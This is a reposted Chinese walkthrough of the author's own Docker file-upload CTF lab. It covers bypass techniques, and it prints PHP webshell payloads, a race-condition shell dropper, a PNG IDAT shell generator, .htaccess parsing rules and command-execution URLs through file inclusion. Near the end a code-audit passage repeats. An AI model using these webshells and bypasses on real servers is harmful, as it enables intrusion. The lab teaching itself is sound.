文件上传漏洞知识总结

news2025/7/11 5:27:49

直接使用别人的靶场总感觉不太好，那么就干脆自己写一个自己的文件上传靶场吧。正好博客之前也没有单独总结过文件上传的知识点，那么就顺便水一篇文章，岂不是一举两得。当然关于文件上传
upload-labs 总结的比较全面了，非强迫症患者建议直接去刷 upload-labs ，本文很多核心代码也都是直接用了 upload-labs
的轮子的…

前言

国光有一台 XPS15 里面运行着 macOS 和 Ubuntu 双系统，其中 XPS 主要系统就是 Ubuntu，国光在 Ubuntu
里面搭建了一个离线的 CTFd 里面还运行着 Docker、宝塔。基本上很多服务都可以在我的 XPS 上运行起来了，出去讲课的时候会带着我的 XPS 和
MBP 一起，离线靶场一开美滋滋，更关键的是往自己的靶场里面填充题目有一种养成游戏的感觉，很有成就感。

又因为最近出书的问题，需要一个自己的靶场，那么就顺便开发一个自己的文件上传靶场吧，从简单到复杂根据自己的上课节奏来，开发完顺便放到 CTFd
中。本文写详细一点的话就可以做我自己靶场的官方 WP
了，也方便学生们课后自己消化吸收。当然如果也可以帮助到看到本文的其他朋友的话，这篇文章也变得就更加有意义了。

16035979507409.png

目前靶场一共有 13 题，感觉基本上的上传姿势点都覆盖了，除了 Windows 下的 点、空格、::$DATA
特性没有覆盖到，其他的感（这个偷懒理由针不戳！）

靶场部署

DockerHub 项目地址 ：https://hub.docker.com/r/sqlsec/ggctf-upload

Github 项目地址 ：https://github.com/sqlsec/upload-labs-docker

# 进入项目文件夹
cd upload-labs-docker

# 一键部署运行
docker-compose up -d

默认 13 个关卡运行的端口为 30001-30013 这 13 个端口上，如果要自定义端口信息的话，自行修改 docker-compose.yml
文件即可。

一共 13 个 Docker 容器，可能第一次部署需要一定的时间，有点硬伤， 耐心等待一下即可

本项目的优势 ：

Docker 一键部署很方便，可以灵活的导入到 CTFd 中

题目更侧重于教学，注重对选手解题的引导，而不是一味地刁难选手

配套保姆级 WP，妈妈再也不用担心不会解题啦

前端界面在同行的衬托下没有那么丑

JS

国光认为好的题目就应该让选手在做题的时候给予线索引导，让他们可以从题目中真正学到些什么。

16035981315620.png

如何判断是否是前端验证呢？首先抓包监听，如果上传文件的时候还没有抓取到数据包，但是浏览器就提示文件类型不正确的话，那么这个多半就是前端校验了：

16036095176123.png

解法一：抓包

因为是前段验证的问题，可以直接将 shell.php 重命名为 shell.png 上传抓包的时候再将文件名修改为 shell.php
即可绕过前段限制，成功上传 webshell。

解法二：禁用 JS

因为 JS 来校验文件后缀的原因，所以可以直接在浏览器上禁用 JS 这样就可以直接上传文件了。Chrome 内核的浏览器在审查元素的状态下可以找到
Settings 选项，然后找到 「Debugger」 选项下面直接勾选 「Disable JavaScript」即可。

解法三：调试 JS

这种解法就类似于孔乙己中的茴香豆的 「茴」有几种写法？，纯粹就是为了炫技，但是并不实用，那么国光下面就简单说下调试 JS 的过程吧。

首先审查元素下下断点：

16036082412704.png

单行单步调试，找到 whitelist变量，双击元素然后直接修改数组元素的值 ：

16036087605888.png

放掉数据包，之前的 shell.php 可直接上传成功：

1603608623108.png

成功拿到根目录下的 flag：

16036086662827.png

MIME

这样下去感觉上课都不需要 PPT 了，关键姿势点都直接贴在了题目中了：

16036091167949.png

因为提示了 MIME 类型校验，所以抓取上传的数据包然后直接修改 Content-Type类型为：image/png等合法的类型即可：

1603684549564.png

文件头

本题配图中里面包含了 GIF89a 已经很明显了，答案就在题目中：

16036097871368.png

本题校验了图片的文件头也就是校验图片内容的，这个时候使用一个标准的图马是可以成功绕过的，由于国光的这个代码只校验了前面几个字节，所以直接写 GIF89a
即可成功绕过：

16036846031002.png

缺陷的代码 - 1

本题的图片上的第 2 行代码是一个有缺陷的代码，黑名单关键词替换为空的操作是一种不安全的写法：

16036102265581.png

因为代码开发者的错误写法，这种情况下可以直接使用嵌套后缀绕过：

16036846312806.png

缺陷的代码 - 2

本地属于理论上漏洞，因为题目环境是 Docker 容器运行的 Linux 系统，所以本题国光修改成了 Windows 的特性

1603610505374.png

同理图片提示中的第 2 行代码也是有缺陷的，可以仅用了 str_replace替换，这样很容易就被大小写绕过，因为 Windows
环境下不区分大小写，所以就可以让 .PHp 当做 .php 来解析了，但是 Linux 下这种大小写如果的话完全没作用，所以本题是国光自己造的漏洞，用来伪造
Windows 环境下的大小写不区分的情况：

1603684654836.png

黑名单

本题同样题目的配图中暗示已经比较明显了，默认情况下 Apache 把 phtml、pht、php、php3、php4、php5 解析为 PHP：

16036116763150.png

那么这里 Fuzz 一下，发现这些稍微冷门的后缀都可以直接绕过：

16036846759511.png

解析规则

本题的暗示也已经很明显了，只要选手查询 htaccess 怎么解析的话，就可以很顺利的解题：

160361194314.png

因为题目是考擦 htaccess 这个上传知识点，所以先准备一个解析规则：

$ cat .htaccess
AddType application/x-httpd-php .png

然后先上传这个 .htaccess 文件到服务器的 upload 目录下：

16036846984498.png

这表示将 upload 目录下的所有 png 图片都当做 php 来解析，然后再上传一个 shell.png 即可：

16036847615642.png

此时这个 shell.png 就已经被当做 PHP 解析了：

16036122801854.png

古老的漏洞 - 1

本题依然在题目中科普了 00 截断是啥，以及 00 截断的利用条件：

16036124585228.png

00 截断多配合路径来截断，我们来抓包看看应该是存在路径信息的，然后直接在路径后面使用 %00 来截断一下就可以成功绕过，为啥 %00
直接就可以绕过了呢？这是因为路径信息是从 GET 方式传递个后端的，这样默认会进行一次 URL 解码，%00 解码后就是空字节：

16036847876825.png

这样保存的文件名就是这样的效果：

BASH

/usr/local/apache2/htdocs/upload/new.php%00shell.png

因为 %00起到截断的作用，所以最终会在 upload 目录下面生成 new.php 的 webshell

16036127173608.png

古老的漏洞 - 2

国光这一题偷懒了，没有换题目外观，不过选手们抓包就会发现这是一个 POST 型的 00 截断：

16036129575787.png

既然是 POST 型 00 截断那么就直接抓包吧，需要在 BP 里面写一个 %00 然后再 URL 手动解码一下：

16036131049530.png

条件竞争

本题是一个条件竞争漏洞，也在题目中给了关键的功能代码贴图，以及给了解题思路了：

16036135842482.png

条件竞争的话稍微和正常的上传姿势不一样，先把题目中给的 webshell 信息复制出来备用：

PHP

<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>

然后先上传 shell.php 文件：

16036848394730.png

BP 抓取这个数据包然后发送到 Intruder 测试器中使用 NULL 空值无限爆破：

16036138407749.png

然后抓取访问 shell.php 的数据包：

HTTP

GET /upload/shell.php HTTP/1.1
Host: vul.xps.com:30009
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

依然使用 NULL 空值爆破：

16036140058678.png

最后成功在服务器的 upload 目录下生成 xiao.php 里的内容就是一个标准的 webshell：

16036153403524.png

move_uploaded_file 缺陷

这一题取材于 upload-labs 后面新增的题目：

1603615449643.png

PHP

move_uploaded_file($temp_file, $img_path)

当 $img_path可控的时候，还会忽略掉 $img_path后面的 /.，这一点发现最早是
Smile师傅于 2019 年 2 月份提出来的，TQL !!! 既然知道
move_uploaded_file 的这个小缺陷的话，这样既可直接 Getshell：

16036161031022.png

二次渲染

imagecreatefrom系列渲染图片都可能被绕过，有些特殊的图马是可以逃避过渲染的，另外这一题我特意还给了查看提示的按钮：

1603616269318.png

点击这个查看提示会出现如下页面：

16036164852192.png

注意 URL 发生了变化，没错这里是一个文件包含漏洞，这样包含选手们逃避渲染上传后的图片的话就可以直接 getshell 了：

16036165628118.png

接下来要总结一下二次渲染的细节了，这也是耗费时间写本文的主要动力之一，因为上面的那些知识点都比较常规，这个二次渲染的细节国光我一直都没有深入总结过，正好就放这里总结一下。

GIF

渲染前后的两张 GIF，没有发生变化的数据库部分直接插入 Webshell 即可

首先准备一张迷你的 GIF

16036176592096.gif

然后上传到目标网站上面渲染一下再导出：

16036252666623.gif

使用 010Editor 打开这两个文件，在 「Tools」选项下面找到「Compare Files」即可对比两个文件内容：

1603625929446.png

对比的效果如下，其中灰的部分就是内容一致的部分：

16036266297353.png

那么只需要将 PHP 代码插入到灰色的部分即可：

16036267273505.png

修改后的 gif 图片如下：

16036267469060.gif

然后上传到目标网站上面渲染一下再导出：

16036268187614.gif

此时查看一下发现我们的 payload 内容依然存在：

16036850183974.png

PNG

PNG 没有 GIF 那么简单，需要将数据写入到 PLTE 数据块 或者 IDAT 数据块。首先准备一个 PNG 图片：

16036276956867.png

两次渲染后对比一下，发现除了 PNG 文件头，其他部分全都不一致：

16036285349399.png

看来使用 GIF 那种思路是行不通的了。PNG 的解决方法继续往下面看。

写入 PLTE 数据块

关于实现细节以前乌云知识库的一篇文章写的很详细，感兴趣的朋友可以阅读看看：

WooYun 乌云 - php imagecreatefrom* 系列函数之
png

写入 PLTE 数据块并不是对所有的 PNG 图片都是可行的，实验证明只有索引图像才可以成功插入 payload，灰度和真彩色图像均以失败告终。

修改索引图像插入 PHP 代码的脚本项目地址为：Github -
poc_png.py

因为值有索引图像的 PNG 才可能插入 PLTE 数据块，但是我们上面准备的 PNG 并不符合要求，得需要在 PS 里面将图片模式修改为索引颜色：

16036303454787.png

修改的索引图片如下：

16036304687175.png

然后使用 Python2 运行脚本：

BASH

python poc_png.py -p '<?php eval($_REQUEST[1]);?>' -o gg_shell.png old.png

生成新的 gg_shell.png 图片如下：

1603630522797.png

这个图片是带 payload 的：

16036306183035.png

然后上传到目标网站上面渲染一下再导出：

16036307974999.png

来检测一下我们的 payload 是否还存在了：

16036344921925.png

哎貌似不对劲：

16036345974560.png

这个字符串被渲染后貌似是顺序有点奇怪。这里国光踩了很多坑，查了很多资料网上都没有好的解决方案，最后国光 将这个被目标网站渲染后的图片再上传渲染
，下面是渲染后的图片：

16036348898441.png

赶紧来查看一下里面是否包含图马信息：

16036348742287.png

阿这！居然成功了，真的是功夫不负有心人呐，不枉国光我周末大半夜的在公司加班写的这篇文章了！！！泪目

写入 IDAT 数据块

PNG 也是可以写入 IDAT 数据来绕过渲染的，由于快 23.00 了国光没有多余的时间研究里面细节了，这里直接引用了先知里面提供的一个脚本：

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./shell.png');
?>

直接运行生成会在脚本目录下生成 shell.png 图片，下面是生成好的 图片：

16036353722974.png

其内容如下：

16036354976650.png

然后上传到目标网站上面渲染一下再导出：

16036356271476.png

查看一下里面的 payload 是否还存在：

16036357015967.png

依然存在的，成功绕过渲染 ，这里顺便提一下这个 shell 的使用方法，下面就不再补充了。

首先获取图片的上传地址为：

http://vul.xps.com:30010/upload/357481464.png

1603635794598.png

利用网站本身的文件包含漏洞，尝试直接包含这个图马 ：

http://vul.xps.com:30010/?file=./upload/357481464.png

16036358617110.png

貌似成功了，执行命令看看：

CODE

http://vul.xps.com:30010/?0=system&file=./upload/357481464.png

POST 内容如下：

BASH

1=cat /f14a4a4a4a444g

16036360607524.png

JPG

JPG 也需要使用脚本将数据插入到特定的数据库，而且可能会不成功，所以需要多次尝试。

这个脚本 Github 搜索一下很多项目都有这个脚本，这里国光就随便搜索拿了搜索结果第一个的项目放在本文中。

项目地址 ：Github -
lackFan/jpg_payload

准备一个 jpg 图片：

16036693924901.jpg

然后上传到目标网站上面渲染一下再导出：

1603669426842.jpg

接着使用脚本来插入 payload，如果想要修改默认 payload 的话，自行修改脚本中的下部分代码：

PHP

$miniPayload = '<?php phpinfo();?>';

然后运行脚本插入 payload：

$ php jpg_payload.php 122728342.jpg
Success!

生成的新图片为：

16036747206733.jpg

然后上传到目标网站上面渲染一下再导出：

1603674733221.jpg

那么来查看一下最终这个 JPG 里面是否带有 payload 信息：

16036748931486.png

无疑写 phpinfo () 是很容易成功的，但是 phpinfo () 并无实质性危害，我们需要插入真正的 webshell 才可以：

$miniPayload = '<?php $_GET[0]($_POST[1]);?>';

这里非常玄学，在国光经历了不知道多少次失败后，才成功将上面的 payload 完整插入

1603675937154.jpg

这个图马被 imagecreatefromjpeg 渲染后如下：

16036760334176.jpg

查看一下 payload 是否存在：

16036761717904.png

完美，尝试直接文件包含来执行攻击语句试试看：

16036764145479.png

JPG 坑点总结

  1. 需要被 imagecreatefromjpeg 渲染或再用工具
  2. 图片找的稍微大一点 成功率更高
  3. Payload 语句越短成功率越高
  4. 一张图片不行就换一张 不要死磕
  5. 国光补充：貌似白色的图片成功率也比较高
  6. <?php $_GET[0]($_POST[1]);?>这种 payload 成功率很高

代码审计

代码审计这一题如果可以动态调试的话，那么理解起来就会比较简单：

16036775446476.png

这个题目是直接 copy Upload-labs 里面的最后一关，这个貌似还是后面新增的题目，下面是核心代码：

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功！";
                $is_upload = true;
            } else {
                $msg = "文件上传失败！";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件！";
}

实际上最后一关和上传关系不大，这个题主要考查 PHP 代码审计，关于代码审计的题目实际上 XDebug 动态调试一下就可以很轻松的做出来，关于 XDebug
的配置文章可以参考国光我之前写的两篇文章：

  • 国光 - macOS 下优雅地配置 PHP 代码审计环境
  • 国光 - Xdebug + 宝塔 + PHPStudy+VScode PHP

首先看第一个判断：

PHP

$allow_type = array('image/jpeg','image/png','image/gif');

if(!in_array($_FILES['upload_file']['type'],$allow_type)){
  echo "<script>black();</script>";
}

所以必须保证我们上传的表单 MIME 类型一定要符合标准。

接着对我们提交的 sava_name 的字符串进行处理，如果不是数组的话就以 .为分隔，打散为数组：

PHP

$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];

if (!is_array($file)) {
  $file = explode('.', strtolower($file));
}

如果是 数组的话就无需打散 ，这里比较关键，后面再详细说，先记着。

因为打散后会校验最后的后缀：

PHP

$ext = end($file);
$allow_suffix = array('jpg','png','gif');

if (!in_array($ext, $allow_suffix)) {
  echo "<script>black();</script>";
}

如果不是合法后缀的话直接就报错了，所以我们老老实实的传入合法的字符串类型的不行的，这里的传入一个数组。比如这样的数组：

PHP

$file = [0=>'shell.php/', 2=>'png']

这样执行完最后的拼接文件名的代码后：

PHP

$file_name = reset($file) . '.' . $file[count($file) - 1];
$file_name = 'shell.php/' . '.' . $file[2 - 1]; = 'shell.php/'.'' = 'shell.php/.'

这样最后一步：

PHP

move_uploaded_file($temp_file, $img_path)
move_uploaded_file($temp_file, 'xx/xx/shell/php/.')

结合前面的 move_uploaded_file 函数缺陷，会忽略掉文件末尾的 /.，所以最终就可以成功将 webshell 上传。

那么最终构造的数据包如下：

16036832903333.png

ack();";
}

如果不是合法后缀的话直接就报错了，所以我们老老实实的传入合法的字符串类型的不行的，这里的传入一个数组。比如这样的数组：

PHP

$file = [0=>'shell.php/', 2=>'png']

这样执行完最后的拼接文件名的代码后：

PHP

$file_name = reset($file) . '.' . $file[count($file) - 1];
$file_name = 'shell.php/' . '.' . $file[2 - 1]; = 'shell.php/'.'' = 'shell.php/.'

这样最后一步：

PHP

move_uploaded_file($temp_file, $img_path)
move_uploaded_file($temp_file, 'xx/xx/shell/php/.')

结合前面的 move_uploaded_file 函数缺陷，会忽略掉文件末尾的 /.，所以最终就可以成功将 webshell 上传。

最后

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供：


当然除了有配套的视频，同时也为大家整理了各种文档和书籍资料&工具，并且已经帮大家分好类了。

因篇幅有限，仅展示部分资料，有需要的小伙伴，可以【扫下方二维码】免费领取：

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/396254.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

HTTP协议详解（上）

HTTP协议详解（上）

目录 前言&#xff1a; 认识URL HTTP协议方法 通过Fiddler抓包 GET和POST之间典型区别 header详解 HTTP响应状态码 常见状态码解释 状态码分类 HTTP协议报文格式 小结&#xff1a; 前言&#xff1a; HTTP协议属于应用层协议&#xff0c;称为超文本传输协议&#xff…
阅读更多...
aws dynamodb 基础概念和理论

aws dynamodb 基础概念和理论

参考资料 https://amazon-dynamodb-labs.workshop.aws/https://docs.amazonaws.cn/amazondynamodb/latest/developerguide/Introduction.html dynamodb的工作原理 核心概念 table、item和attributes是dynamodb的核心组件&#xff0c;可以分别对应关系型数据库中的表&#x…
阅读更多...
JavaScript新手学习手册-基础代码（三）

JavaScript新手学习手册-基础代码（三）

与上篇博客相接 一&#xff1a;Date对象 var date new Date();console.log(date); //全部时间console.log(date.getFullYear()); //年console.log(date.getMonth()); //月console.log(date.getDay()); //星期几console.log(date.getHours()) //时console.log(d…
阅读更多...
java实现Hbase 增删改查

java实现Hbase 增删改查

目录 一、新建一个maven工程 二、代码实现 2.1、配置hbase信息&#xff0c;连接hbase数据库 2.2、创建命名空间 2.3、创建表 2.4、删除表&#xff0c;删除之前要设置为禁用状态 2.5、添加数据 2.6、获取命令表空间 / tables列表 2.7、get方法查看表的内容 2.8、scan方法…
阅读更多...
腾势D9改装来了，帮大家总结了一些需要改装的项目

腾势D9改装来了，帮大家总结了一些需要改装的项目

最近腾势D9真的太火了&#xff0c;不仅外观霸气&#xff0c;内饰也是非常豪华。 1月份销量在MPV里已经排名第二了&#xff0c;性价比很高。 这边整理了一些改装项目供大家参考&#xff0c;有什么想法可以评论区一起讨论哦1. 电吸门 有车主吐槽车门难关&#xff0c;由于车内空间…
阅读更多...
计算机网络：ICMP协议

计算机网络：ICMP协议

网际控制报文协议ICMP ICMP协议支持主机或者路由器差错报告和网络探询 类型表明ICMP报文是哪类检验和&#xff1a;检验整个ICMP报文ICMP报文可分为ICMP差错报文和ICMP询问报文。 ICMP差错报告报文 终点不可达&#xff1a;当路由器或者主机不能交付数据报时&#xff0c;向源站…
阅读更多...
Spring - Spring框架概述面试题总结

Spring - Spring框架概述面试题总结

文章目录01. 什么是Spring&#xff1f;02. Spring框架的设计目标&#xff0c;设计理念&#xff0c;和核心是什么&#xff1f;03. Spring的优点是什么&#xff1f;04. Spring框架中都用到了哪些设计模式&#xff1f;05. Spring有哪些应用场景?06. Spring由哪些模块组成&#xf…
阅读更多...
基于DDD的微服务落地

基于DDD的微服务落地

DDD四层架构对实时性要求高的强一致性业务场景&#xff0c;可采取分布式事务。分布式事务有性能代价&#xff0c;在设计时需要平衡考虑业务拆分、数据一致性、性能和实现的复杂度&#xff0c;尽量避免分布式事务的产生。领域事件驱动的异步方式是分布式架构常用的设计方式&…
阅读更多...
【python】使用python将360个文件夹里的照片，全部复制到指定的文件夹中，并且按照顺序重新命名

【python】使用python将360个文件夹里的照片，全部复制到指定的文件夹中，并且按照顺序重新命名

最近要做一个图像生成的课题&#xff0c;在网上找了一个混合的数据集。这个数据集中一共有360个文件夹&#xff0c;然后文件夹中有6-9张不等的照片&#xff0c;我的目标就是编写python代码将所有的照片取出来&#xff0c;放到一个指定的文件夹里&#xff0c;并且从1开始按照顺序…
阅读更多...
yolov8行人识别教程(2023年毕业设计+源码)

yolov8行人识别教程(2023年毕业设计+源码)

yolov8识别视频直接上YOLOv8的结构图吧&#xff0c;小伙伴们可以直接和YOLOv5进行对比&#xff0c;看看能找到或者猜到有什么不同的地方&#xff1f; Backbone&#xff1a;使用的依旧是CSP的思想&#xff0c;不过YOLOv5中的C3模块被替换成了C2f模块&#xff0c;实现了进一步的轻…
阅读更多...
VMware虚拟机安装Ubuntu 2022最新版详细图文安装教程(VMware虚拟机安装+Ubuntu下载+VMware虚拟机配置运行)

VMware虚拟机安装Ubuntu 2022最新版详细图文安装教程(VMware虚拟机安装+Ubuntu下载+VMware虚拟机配置运行)

名人说：君子生非异也，善假于物也。——荀子 Code_流苏(CSDN) o(‐＾▽＾‐)o很高兴你打开了这篇博客，跟着步骤一步步尝试安装吧。✧ 目录 一、简单介绍二、安装虚拟机VMware三、Ubuntu镜像下载四、虚拟机VMware配置及运行★如有疑问，欢迎评论，博主看到即回！当然，期待你的…
阅读更多...
【基础算法】双指针---判断子序列

【基础算法】双指针---判断子序列

&#x1f339;作者:云小逸 &#x1f4dd;个人主页:云小逸的主页 &#x1f4dd;Github:云小逸的Github &#x1f91f;motto:要敢于一个人默默的面对自己&#xff0c;强大自己才是核心。不要等到什么都没有了&#xff0c;才下定决心去做。种一颗树&#xff0c;最好的时间是十年前…
阅读更多...
极速开发，无限可能，2023网易低代码大赛全新赛季启动

极速开发，无限可能，2023网易低代码大赛全新赛季启动

去年火爆的低代码大赛还犹在目&#xff0c;近800人用轻舟低代码平台畅享开发乐趣。这不&#xff0c;2023网易低代码大赛即刻启动&#xff0c;3月6日至3月27日限时开放报名&#xff0c;全新角逐&#xff0c;正式展开&#xff01;1\ 获胜者可得万元大奖、猪厂工作机会 /Low Code …
阅读更多...
JavaEE课程实践-Servlet的部署（tomcat服务器）

JavaEE课程实践-Servlet的部署（tomcat服务器）

目录 Servlet简述 tomcat服务器的安装和运行 Servlet的部署 部署具体步骤 一、创建maven工程 二、创建Servlet类 三、导入相应jar包 四、编写Servlet代码 五、运行maven项目&#xff0c;启动tomcat服务器 六、测试访问是否成功。 Servlet简述 Servlet 是 Java EE 技术…
阅读更多...
第六章：多线程

第六章：多线程

第六章&#xff1a;多线程 6.1&#xff1a;程序、进程、线程基本概念 程序 程序program是为了完成特定任务、用某种语言编写的一组指令的集合。即指一段静态的代码&#xff0c;静态对象。 进程 ​ 进程process是程序的一次执行过程&#xff0c;或是正在运行的一个程序。是一个…
阅读更多...
vue3相比vue2性能上提升体现

vue3相比vue2性能上提升体现

vue3相比vue2&#xff0c;在 编译阶段&#xff0c;源码体积 响应式系统 都做了性能提升不以解决实际业务痛点的更新都是耍流氓1. ts的支持2. 移除了不常用的api,例如 过滤器 $on $off $once 实例方法 内联模板attribute $destroy3. 加了tree - shaking4. 移除了mixin缺点&#…
阅读更多...
ESP32设备驱动-RFID-RC522模块驱动

ESP32设备驱动-RFID-RC522模块驱动

RFID-RC522模块驱动 文章目录 RFID-RC522模块驱动1、RFID-RC522介绍2、硬件准备3、软件准备4、驱动实现1、RFID-RC522介绍 基于 NXP 的 MFRC522 IC 的 RC522 RFID 模块通常带有一个 RFID 卡标签和具有 1KB 内存的密钥卡标签。 最重要的是，它可以写一个标签，这样你就可以在里…
阅读更多...
前端老赵一次给你讲透“微前端”架构

前端老赵一次给你讲透“微前端”架构

一、引言&#xff1a; 随着Web应用程序的规模和复杂度的不断增加&#xff0c;前端技术也在不断发展和演进。微前端是近年来兴起的一种前端架构模式&#xff0c;通过将大型Web应用程序拆分为小型、可独立开发和部署的模块&#xff0c;从而降低开发和维护的难度&#xff0c;同时…
阅读更多...
【LeetCode与《代码随想录》】二叉树篇：做题笔记与总结-JavaScript版

【LeetCode与《代码随想录》】二叉树篇：做题笔记与总结-JavaScript版

文章目录代码随想录144. 二叉树的前序遍历94. 二叉树的中序遍历145. 二叉树的后序遍历102.二叉树的层序遍历226.翻转二叉树101. 对称二叉树104.二叉树的最大深度111.二叉树的最小深度222.完全二叉树的节点个数110.平衡二叉树257. 二叉树的所有路径404.左叶子之和513.找树左下角…
阅读更多...
盘点曾经很火但消失了的8个软件

盘点曾经很火但消失了的8个软件

目录 1、飞信 3、暴风影音 4、千千静听 5、虾米音乐 6、快车下载 7、人人网 8、QQ农场 今天小编给大家分享曾经很火但消失了的8个软件&#xff0c;你都用过吗&#xff1f; 1、飞信 飞信是中国移动通信集团公司推出的一款短信、语音、视频通信应用程序。它于2007年推出&a…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023